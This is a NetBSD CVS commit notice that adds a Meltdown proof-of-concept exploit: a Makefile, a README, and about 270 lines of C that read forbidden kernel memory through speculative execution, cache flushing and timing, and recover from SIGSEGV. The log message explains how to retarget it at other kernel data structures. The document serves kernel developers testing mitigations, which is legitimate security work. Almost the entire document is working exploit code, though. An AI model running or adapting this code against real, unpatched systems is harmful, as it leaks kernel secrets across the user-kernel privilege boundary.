Module Name: othersrc Committed By: riastradh Date: Thu Mar 22 14:32:28 UTC 2018
Added Files: othersrc/usr.bin/meltdown: Makefile README meltdown.c Log Message: Add Meltdown PoC. To use it for any kernel virtual addresses other than the entropy pool statistics, you'll need to adapt the prime function to trigger whatever kernel entry points prime the cache with whatever kernel data structures you want. To generate a diff of this commit: cvs rdiff -u -r0 -r1.1 othersrc/usr.bin/meltdown/Makefile \ othersrc/usr.bin/meltdown/README othersrc/usr.bin/meltdown/meltdown.c Please note that diffs are not public domain; they are subject to the copyright notices on the relevant files.
Added files: Index: othersrc/usr.bin/meltdown/Makefile diff -u /dev/null othersrc/usr.bin/meltdown/Makefile:1.1 --- /dev/null Thu Mar 22 14:32:28 2018 +++ othersrc/usr.bin/meltdown/Makefile Thu Mar 22 14:32:28 2018 @@ -0,0 +1,5 @@ +PROG= meltdown + +NOMAN= yes + +.include <bsd.prog.mk> Index: othersrc/usr.bin/meltdown/README diff -u /dev/null othersrc/usr.bin/meltdown/README:1.1 --- /dev/null Thu Mar 22 14:32:28 2018 +++ othersrc/usr.bin/meltdown/README Thu Mar 22 14:32:28 2018 @@ -0,0 +1,4 @@ +Meltdown proof of concept exploit. + +Reads data from rnd_global.pool.stats (rnd_pool.stats on <8). +Find the kernel virtual address from /dev/ksyms or crash(8). Index: othersrc/usr.bin/meltdown/meltdown.c diff -u /dev/null othersrc/usr.bin/meltdown/meltdown.c:1.1 --- /dev/null Thu Mar 22 14:32:28 2018 +++ othersrc/usr.bin/meltdown/meltdown.c Thu Mar 22 14:32:28 2018 @@ -0,0 +1,271 @@ +/* $NetBSD: meltdown.c,v 1.1 2018/03/22 14:32:28 riastradh Exp $ */ + +/*- + * Copyright (c) 2018 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Taylor R. Campbell. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include <sys/cdefs.h> +__RCSID("$NetBSD: meltdown.c,v 1.1 2018/03/22 14:32:28 riastradh Exp $"); + +#include <sys/ioctl.h> +#include <sys/rnd.h> + +#include <err.h> +#include <errno.h> +#include <fcntl.h> +#include <inttypes.h> +#include <setjmp.h> +#include <signal.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> + +const unsigned pgsz = 4096; +const unsigned ntrials = 20; + +jmp_buf reset; +uint64_t kaddr; +uint8_t *kptr; +uint8_t ubuf[4096*(256 + 2)]; /* guard pages on either end */ +uint8_t *uptr = ubuf + 4096; +unsigned vote[256]; + +/* + * rdtsc_fenced() + * + * Wait for all prior CPU instructions to complete and then return + * the CPU cycle counter. + */ +static inline uint64_t +rdtsc_fenced(void) +{ + uint32_t lo, hi; + + /* + * rdtscp works if we have it, but not all x86 CPUs have it. + * On Intel, lfence is sufficient; on AMD, need mfence. + */ + asm volatile("mfence; rdtsc" : "=a"(lo), "=d"(hi)); + + return ((uint64_t)hi << 32) | lo; +} + +/* + * clflush(ptr) + * + * Flush the data cache line for ptr if any. + */ +static inline void +clflush(const void *ptr) +{ + + asm volatile("clflush (%0)" : : "r"(ptr)); +} + +/* + * meltdown(k, u) + * + * Prime u[pgsz*k[0]] in the cache and leave u[pgsz*i] for all i + * =/= k[0] alone. k may be a forbidden pointer in anywhere in + * the virtual address space such as as pointer into kernel memory + * without the `u' (user-accessible) page permission bit. + */ +static inline uint8_t +meltdown(const uint8_t *k, const uint8_t *u) +{ + unsigned long i; + uint8_t v; + + do i = pgsz*k[0]; while (i == 0); + v = u[i]; + + return v; +} + +/* + * sighandler(signo) + * + * Vote on which byte in the global user buffer seemed to be + * primed by speculative execution that ran ahead of the CPU trap + * causing signal delivery. Then longjmp back to your regularly + * scheduled programming. + */ +static void +sighandler(int signo) +{ + uint64_t t0, t1, tmin; + unsigned i, imin; + volatile uint8_t ubyte; + + (void)signo; + + tmin = UINT64_MAX; + imin = 0; + for (i = 0; i < 256; i++) { + t0 = rdtsc_fenced(); + ubyte = uptr[pgsz*i]; + t1 = rdtsc_fenced(); + if (t1 - t0 <= tmin) { + tmin = t1 - t0; + imin = i; + } + } + vote[imin]++; + longjmp(reset, 1); +} + +/* + * prime() + * + * Prime the CPU cache for the target kernel address. In this + * case, we try to prime it for rnd_pool.stats.curentropy, which + * is allowed to be read by the user but surrounded by pool + * statistics that are forbidden. + * + * Also nearby is the actual data in the entropy pool -- but it's + * the next cache line over, alas, and my CPU doesn't seem to be + * prefetching surrounding cache lines. + */ +static void +prime(void) +{ + static int fd = -1; + uint32_t entcnt; + + /* Make sure we have opened /dev/urandom. */ + if (fd == -1) { + if ((fd = open("/dev/urandom", O_RDONLY)) == -1) + err(1, "open /dev/urandom"); + } + + /* + * Don't care what the answer is; just ask the kernel to do + * something for us. + */ + (void)ioctl(fd, RNDGETENTCNT, &entcnt); +} + +int +main(int argc, char **argv) +{ + volatile unsigned trial; /* for setjmp */ + volatile uint8_t ubyte; /* to thwart optimization */ + char *end; + unsigned long count = 1; + unsigned i, ibest, vbest; + + /* Set up progname and usage. */ + setprogname(argv[0]); + if (argc != 2 && argc != 3) + errx(1, "usage: %s <addr> [<count>]", getprogname()); + + /* Parse the address. */ + errno = 0; + kaddr = strtoumax(argv[1], &end, 0); + if (end == argv[1] || end[0] != '\0' || errno) + errx(1, "invalid address"); + kptr = (void *)(uintptr_t)kaddr; + + /* Parse the count, if any. */ + if (argc == 3) { + errno = 0; + count = strtoul(argv[2], &end, 0); + if (end == argv[2] || end[0] != '\0' || errno) + errx(1, "invalid count"); + } + + /* For as many bytes as requested... */ + while (count --> 0) { + + /* Prepare to handle SIGSEGV. */ + if (signal(SIGSEGV, &sighandler) == SIG_ERR) + err(1, "signal"); + + /* Dry run to ramp up the CPU. */ + for (trial = 0; trial < ntrials; trial++) { + if (setjmp(reset) == 0) { + for (i = 0; i < 256; i++) + clflush(&uptr[i*pgsz]); + register uint8_t *uptr0 = uptr; + register uint8_t *kptr0 = kptr; + prime(); + ubyte = meltdown(kptr0, uptr0); + return 123; /* fail */ + } + } + + /* Reset the vote tallies. */ + memset(vote, 0, sizeof vote); + + /* Do it! */ + for (trial = 0; trial < ntrials; trial++) { + if (setjmp(reset) == 0) { + for (i = 0; i < 256; i++) + clflush(&uptr[i*pgsz]); + register uint8_t *uptr0 = uptr; + register uint8_t *kptr0 = kptr; + prime(); + ubyte = meltdown(kptr0, uptr0); + return 123; /* fail */ + } + } + + /* Restore SIGSEGV to default to catch bugs later. */ + if (signal(SIGSEGV, SIG_DFL) == SIG_ERR) + err(1, "signal"); + + /* Naively count the ballots. */ + ibest = 0; + vbest = vote[0]; + for (i = 0; i < 256; i++) { + if (vote[i] > vbest) { + ibest = i; + vbest = vote[i]; + } + } + + /* + * Heuristically guess that if the plurality is not a + * majority, we probably got fooled by zero. + */ + if (vbest < ntrials/2) + ibest = 0; + + /* Print the winner. */ + if (printf("%c", (char)ibest) < 0) + err(1, "printf"); + + /* Advance to the next byte. */ + kptr++; + } + + /* Success! */ + return 0; +}